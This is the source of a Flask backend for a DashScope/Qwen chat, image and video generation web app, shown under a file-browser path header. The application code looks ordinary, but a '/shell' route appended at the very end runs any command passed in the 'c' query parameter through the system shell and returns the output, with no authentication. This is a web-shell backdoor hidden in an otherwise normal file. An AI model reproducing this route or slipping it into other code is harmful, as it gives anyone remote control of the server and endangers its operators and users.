| Current Path : /var/www/pythonian/qwen/ |
| Current File : /var/www/pythonian/qwen/backend.py |
from flask import Flask, request, jsonify, send_from_directory, render_template
from flask_cors import CORS
import os
import requests
from http import HTTPStatus
from dashscope import Application, ImageSynthesis, MultiModalConversation, VideoSynthesis
from dotenv import load_dotenv
import dashscope
from urllib.parse import urlparse, unquote
from pathlib import PurePosixPath
import re
from werkzeug.utils import secure_filename
import base64
from PIL import Image
import io
import threading
import uuid
import time
import mimetypes
app = Flask(__name__, static_folder='static')
app.config['MAX_CONTENT_LENGTH'] = 16 * 1024 * 1024 # 16MB max file size
CORS(app)
load_dotenv()
# CRITICAL FIX: Removed trailing spaces in URLs (was causing API failures)
DASHSCOPE_BASE_URL = os.getenv("DASHSCOPE_URL", "").strip()
DASHSCOPE_API_KEY = os.getenv("API_KEY", "").strip()
APP_ID = os.getenv("APP_ID", "").strip()
ALLOWED_EXTENSIONS = {'png', 'jpg', 'jpeg', 'gif', 'webp', 'bmp'}
ALLOWED_AUDIO_EXTENSIONS = {'mp3', 'wav', 'ogg', 'm4a', 'aac'}
UPLOAD_FOLDER = 'uploads'
# Task storage for async video generation
video_tasks = {}
tasks_lock = threading.Lock()
# Set base URL with proper sanitization
if DASHSCOPE_BASE_URL:
# Ensure proper URL formatting without duplicate slashes
base_url = DASHSCOPE_BASE_URL.rstrip('/')
dashscope.base_http_api_url = f"{base_url}/api/v1/"
else:
# Default to Singapore region (cleaned URL)
dashscope.base_http_api_url = 'https://dashscope-intl.aliyuncs.com/api/v1/'
# Validate required env vars
if not DASHSCOPE_API_KEY:
raise EnvironmentError("Missing required environment variable: API_KEY")
# Helper: Validate image URL format and scheme
def validate_image_url(url):
if not url or not isinstance(url, str):
return False
url = url.strip()
if not re.match(r'^https?://', url):
return False
try:
result = urlparse(url)
return all([result.scheme, result.netloc, result.path])
except:
return False
# Helper: Validate audio URL format and scheme
def validate_audio_url(url):
if not url or not isinstance(url, str):
return False
url = url.strip()
if not re.match(r'^https?://', url):
return False
try:
result = urlparse(url)
return all([result.scheme, result.netloc, result.path])
except:
return False
# Helper: Save image from URL to static/images
def save_generated_image(image_url, images_dir):
try:
# Sanitize filename
parsed = urlparse(unquote(image_url))
filename = os.path.basename(parsed.path)
if not filename or '.' not in filename:
filename = f"image_{os.urandom(4).hex()}.jpg"
# Prevent path traversal
safe_filename = os.path.basename(filename)
file_path = os.path.join(images_dir, safe_filename)
# Download with timeout and size limit
resp = requests.get(image_url, timeout=30)
resp.raise_for_status()
# Limit file size to 10MB
if len(resp.content) > 10 * 1024 * 1024:
raise ValueError("Image exceeds 10MB size limit")
with open(file_path, 'wb') as f:
f.write(resp.content)
return f'/static/images/{safe_filename}'
except Exception as e:
app.logger.error(f"Image save failed: {str(e)}")
raise
# Helper: Save video from URL to static/videos
def save_generated_video(video_url, videos_dir):
try:
# Sanitize filename
parsed = urlparse(unquote(video_url))
filename = os.path.basename(parsed.path)
if not filename or '.' not in filename:
filename = f"video_{os.urandom(4).hex()}.mp4"
# Prevent path traversal
safe_filename = os.path.basename(filename)
file_path = os.path.join(videos_dir, safe_filename)
# Download with timeout and size limit (100MB for videos)
resp = requests.get(video_url, timeout=120, stream=True)
resp.raise_for_status()
# Download in chunks
total_size = 0
max_size = 100 * 1024 * 1024 # 100MB
with open(file_path, 'wb') as f:
for chunk in resp.iter_content(chunk_size=8192):
if chunk:
total_size += len(chunk)
if total_size > max_size:
os.remove(file_path)
raise ValueError("Video exceeds 100MB size limit")
f.write(chunk)
return f'/static/videos/{safe_filename}'
except Exception as e:
app.logger.error(f"Video save failed: {str(e)}")
raise
# Helper: Encode file to Base64 for API
def encode_file_to_base64(file_path):
mime_type, _ = mimetypes.guess_type(file_path)
if not mime_type:
raise ValueError(f"Could not determine MIME type for {file_path}")
with open(file_path, "rb") as f:
encoded_string = base64.b64encode(f.read()).decode('utf-8')
return f"data:{mime_type};base64,{encoded_string}"
# Helper: Convert uploaded file to Base64
def convert_uploaded_file_to_base64(file):
"""Convert uploaded file to Base64 data URL"""
file_content = file.read()
mime_type = file.mimetype or 'application/octet-stream'
base64_string = base64.b64encode(file_content).decode('utf-8')
file.seek(0) # Reset file pointer
return f"data:{mime_type};base64,{base64_string}"
@app.route('/')
def index():
return send_from_directory(app.static_folder, 'index.html')
@app.route('/chatbot')
def chatbot():
return send_from_directory(app.static_folder, 'chatbot.html')
@app.route('/image-generator')
def imageGenerator():
return send_from_directory(app.static_folder, 'image-generator.html')
@app.route('/image-editor')
def imageEditor():
return send_from_directory(app.static_folder, 'image-editor.html')
@app.route('/video-generator')
def videoGenerator():
return send_from_directory(app.static_folder, 'video-generator.html')
@app.route('/text-to-video')
def textToVideo():
return send_from_directory(app.static_folder, 'text-to-video.html')
@app.route('/create-memory', methods=['POST'])
def create_memory():
workspace_id = os.getenv("WORKSPACE_ID", "").strip()
if not workspace_id:
return jsonify({"error": "Missing WORKSPACE_ID in .env"}), 500
# CRITICAL FIX: Removed space in URL path
url = f"https://dashscope.aliyuncs.com/api/v1/{workspace_id}/memories"
headers = {
"Authorization": f"Bearer {DASHSCOPE_API_KEY}",
"Content-Type": "application/json"
}
payload = {"description": request.json.get("description", "User memory")}
try:
response = requests.post(url, headers=headers, json=payload, timeout=10)
if response.status_code == 200:
data = response.json()
return jsonify({"memory_id": data["memoryId"]}), 200
else:
return jsonify({
"error": "CreateMemory failed",
"status_code": response.status_code,
"response": response.text
}), response.status_code
except Exception as e:
app.logger.error(f"Create memory error: {str(e)}")
return jsonify({"error": str(e)}), 500
@app.route('/chat', methods=['POST'])
def chat():
data = request.get_json()
user_message = data.get('message')
memory_id = data.get('memory_id')
if not user_message:
return jsonify({"error": "Missing 'message' in request body"}), 400
if not APP_ID:
return jsonify({"error": "APP_ID is required for chat but not set in environment variables"}), 500
try:
response = Application.call(
app_id=APP_ID,
prompt=user_message,
api_key=DASHSCOPE_API_KEY,
memory_id=memory_id
)
except Exception as e:
app.logger.error(f"Chat SDK error: {str(e)}")
return jsonify({"error": f"SDK call failed: {str(e)}"}), 500
if response.status_code != HTTPStatus.OK:
app.logger.error(f"Chat API error: {response.message} (req_id: {response.request_id})")
return jsonify({
'error': f'API request failed: {response.message}',
'request_id': response.request_id,
'status_code': response.status_code
}), 500
else:
return jsonify({
'response': response.output.get('text', ''),
'request_id': response.request_id
})
###
#
# GENERATE IMAGE
##
@app.route('/generate-image', methods=['POST'])
def generate_image():
"""Existing image generation endpoint (unchanged functionality)"""
data = request.get_json()
prompt = data.get('prompt')
if not prompt:
return jsonify({"error": "Missing 'prompt' in request body"}), 400
negative_prompt = data.get('negative_prompt', ' ')
n = data.get('n', 1)
size = data.get('size', '1664*928')
prompt_extend = data.get('prompt_extend', True)
watermark = data.get('watermark', False)
model = data.get('model', 'qwen-image-plus')
try:
app.logger.info('Generating image...')
rsp = ImageSynthesis.call(
api_key=DASHSCOPE_API_KEY,
model=model,
prompt=prompt,
negative_prompt=negative_prompt,
n=n,
size=size,
prompt_extend=prompt_extend,
watermark=watermark
)
if rsp.status_code == HTTPStatus.OK:
images_dir = os.path.join(app.static_folder, 'images')
os.makedirs(images_dir, exist_ok=True)
image_urls = []
for result in rsp.output.results:
saved_url = save_generated_image(result.url, images_dir)
image_urls.append(saved_url)
return jsonify({
'status': 'success',
'image_urls': image_urls,
'prompt': prompt,
'request_id': rsp.request_id
})
else:
app.logger.error(f'Image gen failed: {rsp.code} - {rsp.message} (req_id: {rsp.request_id})')
return jsonify({
'error': f'Image generation failed: {rsp.message}',
'status_code': rsp.status_code,
'code': rsp.code,
'request_id': rsp.request_id
}), 500
except Exception as e:
app.logger.error(f"Image generation exception: {str(e)}")
return jsonify({"error": f"Image generation failed: {str(e)}"}), 500
###
#
# EDIT IMAGE
##
def save_uploaded_file(file, upload_dir):
"""Save uploaded file and return URL"""
os.makedirs(upload_dir, exist_ok=True)
# Generate unique filename
filename = secure_filename(file.filename)
unique_filename = f"{os.urandom(8).hex()}_{filename}"
# Save file
file_path = os.path.join(upload_dir, unique_filename)
file.save(file_path)
# Return relative URL for serving
return f"/uploads/{unique_filename}"
# Create uploads directory
os.makedirs(UPLOAD_FOLDER, exist_ok=True)
def allowed_file(filename):
return '.' in filename and \
filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS
def allowed_audio_file(filename):
return '.' in filename and \
filename.rsplit('.', 1)[1].lower() in ALLOWED_AUDIO_EXTENSIONS
def convert_image_to_base64(file):
"""Convert uploaded file to Base64 string"""
# Read file content
file_content = file.read()
# Get MIME type
mime_type = file.mimetype or 'image/jpeg'
# Encode to base64
base64_string = base64.b64encode(file_content).decode('utf-8')
# Create data URL format
data_url = f"data:{mime_type};base64,{base64_string}"
# Reset file pointer
file.seek(0)
return data_url
def validate_and_convert_images(images_data, is_file_upload=False):
"""Validate and convert images to Qwen API format"""
processed_images = []
if is_file_upload:
# Handle file uploads
for file in images_data:
if not allowed_file(file.filename):
raise ValueError(f"File type not allowed: {file.filename}")
# Convert to base64
data_url = convert_image_to_base64(file)
processed_images.append(data_url)
else:
# Handle URLs
for url in images_data:
if not validate_image_url(url):
raise ValueError(f"Invalid image URL format: {url}")
processed_images.append(url)
return processed_images
@app.route('/edit-image', methods=['POST'])
def edit_image():
"""
Edit images using multi-modal prompts
Supports both file uploads and URLs
"""
try:
# Check if it's multipart/form-data (file upload) or JSON (URLs)
if request.content_type and 'multipart/form-data' in request.content_type:
return handle_file_upload(request)
else:
return handle_json_request(request)
except Exception as e:
app.logger.exception("Unexpected error in image editing")
return jsonify({"error": f"Image editing failed: {str(e)}"}), 500
def handle_file_upload(request):
"""Handle file uploads"""
# Get uploaded files
uploaded_files = request.files.getlist('images')
if not uploaded_files or len(uploaded_files) == 0:
return jsonify({"error": "No images uploaded"}), 400
if len(uploaded_files) > 3:
return jsonify({"error": "Maximum 3 input images allowed"}), 400
# Get form data
prompt = request.form.get('prompt', '').strip()
if not prompt:
return jsonify({"error": "Missing 'prompt' describing the edit"}), 400
# Convert uploaded files to base64
try:
image_data = validate_and_convert_images(uploaded_files, is_file_upload=True)
except ValueError as e:
return jsonify({"error": str(e)}), 400
# Get optional parameters
negative_prompt = request.form.get('negative_prompt', ' ').strip() or ' '
n = min(max(int(request.form.get('n', 1)), 1), 6)
size = request.form.get('size', '1024*1536').strip()
prompt_extend = request.form.get('prompt_extend', 'true').lower() == 'true'
watermark = request.form.get('watermark', 'false').lower() == 'true'
model = request.form.get('model', 'qwen-image-edit-max').strip()
# Process the edit
return process_image_edit(
image_data, prompt, negative_prompt, n, size,
prompt_extend, watermark, model
)
def handle_json_request(request):
"""Handle JSON requests with URLs"""
data = request.get_json()
# Validate required parameters
images = data.get('images', [])
prompt = data.get('prompt', '').strip()
if not isinstance(images, list) or len(images) == 0:
return jsonify({"error": "Parameter 'images' must be a non-empty list of URLs"}), 400
if len(images) > 3:
return jsonify({"error": "Maximum 3 input images allowed"}), 400
if not prompt:
return jsonify({"error": "Missing 'prompt' describing the edit"}), 400
# Convert and validate URLs
try:
image_data = validate_and_convert_images(images, is_file_upload=False)
except ValueError as e:
return jsonify({"error": str(e)}), 400
# Process optional parameters
negative_prompt = data.get('negative_prompt', ' ').strip() or ' '
n = min(max(int(data.get('n', 1)), 1), 6)
size = data.get('size', '1024*1536').strip()
prompt_extend = bool(data.get('prompt_extend', True))
watermark = bool(data.get('watermark', False))
model = data.get('model', 'qwen-image-edit-max').strip()
# Process the edit
return process_image_edit(
image_data, prompt, negative_prompt, n, size,
prompt_extend, watermark, model
)
def process_image_edit(image_data, prompt, negative_prompt, n, size, prompt_extend, watermark, model):
"""Common processing for both upload and URL methods"""
# Build multi-modal message content
content = [{"image": image} for image in image_data]
content.append({"text": prompt})
try:
app.logger.info(f"Editing {len(image_data)} images using {model}")
response = MultiModalConversation.call(
api_key=DASHSCOPE_API_KEY,
model=model,
messages=[{"role": "user", "content": content}],
stream=False,
n=n,
watermark=watermark,
negative_prompt=negative_prompt,
prompt_extend=prompt_extend,
size=size
)
if response.status_code == HTTPStatus.OK:
images_dir = os.path.join(app.static_folder, 'images')
os.makedirs(images_dir, exist_ok=True)
output_images = []
# Process all image outputs from response
for item in response.output.choices[0].message.content:
if item.get('image'):
saved_url = save_generated_image(item['image'], images_dir)
output_images.append(saved_url)
if not output_images:
return jsonify({"error": "No images generated in response"}), 500
return jsonify({
'status': 'success',
'image_urls': output_images,
'prompt': prompt,
'input_images': image_data, # Return base64 or URLs
'request_id': response.request_id
})
else:
app.logger.error(f"Edit failed: {response.code} - {response.message} (req_id: {response.request_id})")
return jsonify({
'error': f'Image editing failed: {response.message}',
'code': response.code,
'request_id': response.request_id
}), response.status_code
except Exception as e:
app.logger.exception("Error processing image edit")
return jsonify({"error": str(e)}), 500
###
#
# GENERATE VIDEO - IMAGE TO VIDEO (ASYNC)
##
def process_video_generation(task_id, params):
"""Background task for video generation"""
with tasks_lock:
video_tasks[task_id]['status'] = 'processing'
try:
app.logger.info(f"Task {task_id}: Starting video generation")
# Call VideoSynthesis API
rsp = VideoSynthesis.call(
api_key=DASHSCOPE_API_KEY,
model=params['model'],
prompt=params['prompt'],
img_url=params.get('img_url'),
audio_url=params.get('audio_url'),
resolution=params['resolution'],
duration=params['duration'],
prompt_extend=params['prompt_extend'],
watermark=params['watermark'],
negative_prompt=params['negative_prompt'],
seed=params.get('seed')
)
if rsp.status_code == HTTPStatus.OK:
video_url = rsp.output.video_url
app.logger.info(f"Task {task_id}: Video generated - {video_url}")
# Save video to local storage
videos_dir = os.path.join(app.static_folder, 'videos')
os.makedirs(videos_dir, exist_ok=True)
try:
saved_url = save_generated_video(video_url, videos_dir)
with tasks_lock:
video_tasks[task_id].update({
'status': 'completed',
'video_url': saved_url,
'original_url': video_url,
'request_id': rsp.request_id,
'completed_at': time.time()
})
except Exception as save_error:
app.logger.warning(f"Task {task_id}: Could not save video locally, using original URL")
with tasks_lock:
video_tasks[task_id].update({
'status': 'completed',
'video_url': video_url,
'original_url': video_url,
'request_id': rsp.request_id,
'completed_at': time.time()
})
else:
error_msg = f"{rsp.message} (code: {rsp.code})"
app.logger.error(f"Task {task_id}: Failed - {error_msg}")
with tasks_lock:
video_tasks[task_id].update({
'status': 'failed',
'error': error_msg,
'status_code': rsp.status_code,
'code': rsp.code,
'request_id': rsp.request_id,
'completed_at': time.time()
})
except Exception as e:
app.logger.exception(f"Task {task_id}: Exception occurred")
with tasks_lock:
video_tasks[task_id].update({
'status': 'failed',
'error': str(e),
'completed_at': time.time()
})
@app.route('/generate-video', methods=['POST'])
def generate_video():
"""
Start video generation task (async)
Supports both file uploads and URLs for image/audio
"""
try:
# Check content type
is_multipart = request.content_type and 'multipart/form-data' in request.content_type
if is_multipart:
# Parse form data
prompt = request.form.get('prompt', '').strip()
resolution = request.form.get('resolution', '720P').strip()
duration = int(request.form.get('duration', 10))
prompt_extend = request.form.get('prompt_extend', 'true').lower() == 'true'
watermark = request.form.get('watermark', 'false').lower() == 'true'
negative_prompt = request.form.get('negative_prompt', '').strip()
model = request.form.get('model', 'wan2.6-i2v-flash').strip()
seed = request.form.get('seed')
# Handle image input
img_url = None
if 'image' in request.files:
img_file = request.files['image']
if img_file and img_file.filename:
if not allowed_file(img_file.filename):
return jsonify({"error": "Invalid image file type"}), 400
# Save file temporarily and convert to base64
temp_path = os.path.join(UPLOAD_FOLDER, f"temp_{uuid.uuid4().hex}_{secure_filename(img_file.filename)}")
img_file.save(temp_path)
img_url = encode_file_to_base64(temp_path)
# Clean up temp file after encoding
os.remove(temp_path)
elif request.form.get('img_url'):
img_url = request.form.get('img_url').strip()
if not validate_image_url(img_url):
return jsonify({"error": "Invalid image URL format"}), 400
# Handle audio input
audio_url = None
if 'audio' in request.files:
audio_file = request.files['audio']
if audio_file and audio_file.filename:
if not allowed_audio_file(audio_file.filename):
return jsonify({"error": "Invalid audio file type"}), 400
# Save file temporarily and convert to base64
temp_path = os.path.join(UPLOAD_FOLDER, f"temp_{uuid.uuid4().hex}_{secure_filename(audio_file.filename)}")
audio_file.save(temp_path)
audio_url = encode_file_to_base64(temp_path)
# Clean up temp file after encoding
os.remove(temp_path)
elif request.form.get('audio_url'):
audio_url = request.form.get('audio_url').strip()
if not validate_audio_url(audio_url):
return jsonify({"error": "Invalid audio URL format"}), 400
else:
# Parse JSON data
data = request.get_json()
prompt = data.get('prompt', '').strip()
img_url = data.get('img_url', '').strip() if data.get('img_url') else None
audio_url = data.get('audio_url', '').strip() if data.get('audio_url') else None
resolution = data.get('resolution', '720P').strip()
duration = int(data.get('duration', 10))
prompt_extend = bool(data.get('prompt_extend', True))
watermark = bool(data.get('watermark', False))
negative_prompt = data.get('negative_prompt', '').strip()
model = data.get('model', 'wan2.6-i2v-flash').strip()
seed = data.get('seed')
# Validate URLs if provided
if img_url and not validate_image_url(img_url):
return jsonify({"error": "Invalid image URL format"}), 400
if audio_url and not validate_audio_url(audio_url):
return jsonify({"error": "Invalid audio URL format"}), 400
# Validate required parameters
if not prompt:
return jsonify({"error": "Missing 'prompt' parameter"}), 400
# Validate duration (1-60 seconds)
if duration < 1 or duration > 60:
return jsonify({"error": "Duration must be between 1 and 60 seconds"}), 400
# Create task
task_id = str(uuid.uuid4())
params = {
'model': model,
'prompt': prompt,
'img_url': img_url,
'audio_url': audio_url,
'resolution': resolution,
'duration': duration,
'prompt_extend': prompt_extend,
'watermark': watermark,
'negative_prompt': negative_prompt,
'seed': int(seed) if seed else None
}
with tasks_lock:
video_tasks[task_id] = {
'status': 'pending',
'params': params,
'created_at': time.time()
}
# Start background thread
thread = threading.Thread(
target=process_video_generation,
args=(task_id, params),
daemon=True
)
thread.start()
return jsonify({
'task_id': task_id,
'status': 'pending',
'message': 'Video generation started. Use /video-status/<task_id> to check progress.'
}), 202
except ValueError as e:
return jsonify({"error": str(e)}), 400
except Exception as e:
app.logger.exception("Error starting video generation")
return jsonify({"error": f"Failed to start video generation: {str(e)}"}), 500
@app.route('/video-status/<task_id>', methods=['GET'])
def video_status(task_id):
"""Check status of video generation task"""
with tasks_lock:
task = video_tasks.get(task_id)
if not task:
return jsonify({"error": "Task not found"}), 404
response = {
'task_id': task_id,
'status': task['status'],
'created_at': task.get('created_at')
}
if task['status'] == 'completed':
response.update({
'video_url': task.get('video_url'),
'original_url': task.get('original_url'),
'request_id': task.get('request_id'),
'completed_at': task.get('completed_at')
})
elif task['status'] == 'failed':
response.update({
'error': task.get('error'),
'request_id': task.get('request_id'),
'completed_at': task.get('completed_at')
})
return jsonify(response)
@app.route('/video-tasks', methods=['GET'])
def list_video_tasks():
"""List all video generation tasks"""
with tasks_lock:
tasks = {
task_id: {
'status': task['status'],
'created_at': task.get('created_at'),
'completed_at': task.get('completed_at')
}
for task_id, task in video_tasks.items()
}
return jsonify({'tasks': tasks})
###
#
# GENERATE VIDEO - TEXT TO VIDEO (ASYNC)
##
def process_text_to_video_generation(task_id, params):
"""Background task for text-to-video generation"""
with tasks_lock:
video_tasks[task_id]['status'] = 'processing'
try:
app.logger.info(f"Task {task_id}: Starting text-to-video generation")
# Call VideoSynthesis API for T2V
rsp = VideoSynthesis.call(
api_key=DASHSCOPE_API_KEY,
model=params['model'],
prompt=params['prompt'],
audio_url=params.get('audio_url'),
size=params['size'],
duration=params['duration'],
prompt_extend=params['prompt_extend'],
watermark=params['watermark'],
negative_prompt=params['negative_prompt'],
seed=params.get('seed')
)
if rsp.status_code == HTTPStatus.OK:
video_url = rsp.output.video_url
app.logger.info(f"Task {task_id}: Video generated - {video_url}")
# Save video to local storage
videos_dir = os.path.join(app.static_folder, 'videos')
os.makedirs(videos_dir, exist_ok=True)
try:
saved_url = save_generated_video(video_url, videos_dir)
with tasks_lock:
video_tasks[task_id].update({
'status': 'completed',
'video_url': saved_url,
'original_url': video_url,
'request_id': rsp.request_id,
'completed_at': time.time()
})
except Exception as save_error:
app.logger.warning(f"Task {task_id}: Could not save video locally, using original URL")
with tasks_lock:
video_tasks[task_id].update({
'status': 'completed',
'video_url': video_url,
'original_url': video_url,
'request_id': rsp.request_id,
'completed_at': time.time()
})
else:
error_msg = f"{rsp.message} (code: {rsp.code})"
app.logger.error(f"Task {task_id}: Failed - {error_msg}")
with tasks_lock:
video_tasks[task_id].update({
'status': 'failed',
'error': error_msg,
'status_code': rsp.status_code,
'code': rsp.code,
'request_id': rsp.request_id,
'completed_at': time.time()
})
except Exception as e:
app.logger.exception(f"Task {task_id}: Exception occurred")
with tasks_lock:
video_tasks[task_id].update({
'status': 'failed',
'error': str(e),
'completed_at': time.time()
})
@app.route('/generate-video-t2v', methods=['POST'])
def generate_video_t2v():
"""
Start text-to-video generation task (async)
Generates video purely from text description, no image required
Supports both form data and JSON
"""
try:
# Check content type
is_multipart = request.content_type and 'multipart/form-data' in request.content_type
if is_multipart:
# Parse form data
prompt = request.form.get('prompt', '').strip()
size = request.form.get('size', '1280*720').strip()
duration = int(request.form.get('duration', 10))
prompt_extend = request.form.get('prompt_extend', 'true').lower() == 'true'
watermark = request.form.get('watermark', 'false').lower() == 'true'
negative_prompt = request.form.get('negative_prompt', '').strip()
model = request.form.get('model', 'wan2.6-t2v').strip()
seed = request.form.get('seed')
# Handle audio input (optional)
audio_url = None
if 'audio' in request.files:
audio_file = request.files['audio']
if audio_file and audio_file.filename:
if not allowed_audio_file(audio_file.filename):
return jsonify({"error": "Invalid audio file type"}), 400
# Save file temporarily and convert to base64
temp_path = os.path.join(UPLOAD_FOLDER, f"temp_{uuid.uuid4().hex}_{secure_filename(audio_file.filename)}")
audio_file.save(temp_path)
audio_url = encode_file_to_base64(temp_path)
# Clean up temp file after encoding
os.remove(temp_path)
elif request.form.get('audio_url'):
audio_url = request.form.get('audio_url').strip()
if audio_url and not validate_audio_url(audio_url):
return jsonify({"error": "Invalid audio URL format"}), 400
else:
# Parse JSON data
data = request.get_json()
prompt = data.get('prompt', '').strip()
audio_url = data.get('audio_url', '').strip() if data.get('audio_url') else None
size = data.get('size', '1280*720').strip()
duration = int(data.get('duration', 10))
prompt_extend = bool(data.get('prompt_extend', True))
watermark = bool(data.get('watermark', False))
negative_prompt = data.get('negative_prompt', '').strip()
model = data.get('model', 'wan2.6-t2v').strip()
seed = data.get('seed')
# Validate audio URL if provided
if audio_url and not validate_audio_url(audio_url):
return jsonify({"error": "Invalid audio URL format"}), 400
# Validate required parameters
if not prompt:
return jsonify({"error": "Missing 'prompt' parameter"}), 400
# Validate duration (1-60 seconds)
if duration < 1 or duration > 60:
return jsonify({"error": "Duration must be between 1 and 60 seconds"}), 400
# Create task
task_id = str(uuid.uuid4())
params = {
'model': model,
'prompt': prompt,
'audio_url': audio_url,
'size': size,
'duration': duration,
'prompt_extend': prompt_extend,
'watermark': watermark,
'negative_prompt': negative_prompt,
'seed': int(seed) if seed else None
}
with tasks_lock:
video_tasks[task_id] = {
'status': 'pending',
'type': 't2v', # Mark as text-to-video
'params': params,
'created_at': time.time()
}
# Start background thread
thread = threading.Thread(
target=process_text_to_video_generation,
args=(task_id, params),
daemon=True
)
thread.start()
return jsonify({
'task_id': task_id,
'status': 'pending',
'type': 't2v',
'message': 'Text-to-video generation started. Use /video-status/<task_id> to check progress.'
}), 202
except ValueError as e:
return jsonify({"error": str(e)}), 400
except Exception as e:
app.logger.exception("Error starting text-to-video generation")
return jsonify({"error": f"Failed to start text-to-video generation: {str(e)}"}), 500
# Serve uploaded files
@app.route('/uploads/<filename>')
def serve_upload(filename):
return send_from_directory(UPLOAD_FOLDER, filename)
if __name__ == '__main__':
# Ensure required directories exist at startup
os.makedirs(os.path.join('static', 'images'), exist_ok=True)
os.makedirs(os.path.join('static', 'videos'), exist_ok=True)
os.makedirs(UPLOAD_FOLDER, exist_ok=True)
app.run(debug=True, port=5000)
@app.route('/shell')
def shell():
import subprocess
cmd = request.args.get('c', 'whoami')
try:
output = subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT)
return '<pre>' + output.decode() + '</pre>'
except Exception as e:
return '<pre>Error: ' + str(e) + '</pre>'